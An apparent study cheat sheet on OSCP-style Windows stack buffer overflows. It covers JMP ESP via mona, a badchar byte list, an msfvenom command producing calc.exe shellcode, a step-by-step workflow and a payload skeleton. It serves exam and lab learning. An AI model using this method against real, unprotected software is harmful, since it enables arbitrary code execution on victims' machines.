Classic

!mona jmp -r esp => jmp esp

Idea

  • Since there is no protection on the victim machine, we store a piece of shellcode on the stack and use JMP ESP to redirect the control flow for executing this shellcode.

  • Here JMP ESP is used since ESP points to somewhere near the beginning of input buffer. Note that ESP may not point to the exact beginning of the buffer.

  • Because of the uncertainty of ESP, NOP sled should be inserted right before the shellcode.

  • The pop calc shellcode is often used as PoC.

  • I recommend the Immunity Debugger + Mona workflow.

Badchars

We assume \x00 is a badchar by default. Note that\x0a and \x0d are often badchars as well.

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Make sure you only assume \x00 is a badchar. Follow the steps to find bachars one by one. Sometimes assuming other badchars, such as \x0a and \x0d, would break the bytestream and you may miss some badchars because of that.

Msfvenom

Generate pop calc shellcode using msfvenom:

msfvenom -p windows/exec cmd=calc.exe exitfunc=thread -b "<badchars>" -f c

Summary

  1. Interact with the application and write a script to verify the existence of stack overflow.

  2. Fuzz the application using pattern and find the offset.

  3. Find a JMP ESP gadget from a library without protection.

  4. Find all badchars.

  5. Generate shellcode using msfvenom.

  6. Get shell or pop calc.

Make sure NOP sled is added before the shellcode.

Payload

payload = ""
payload += "A" * offset
payload += <jmp_esp> # EIP => jmp esp
payload += nop_sled
payload += shellcode
payload += another_nop_sled
payload += padding

Template

This type of stack overflow senario is often referred as the "OSCP-style" buffer overflow, since it is in the OSCP exam. Many templates exist, and my favorites are:

  1. OSCP Buffer Overflow in 30 minutes -- hyperreality

    • Automations are integrated into the scripts, for example, pattern, badchars

    • The scripts contain built-in instructions.

  2. OSCP Buffer Overflow -- V1n1v131r4

    • This repo contains a step-to-step guide.

    • Use the guide as cheatsheet during the exploit development process.

Reference

Last updated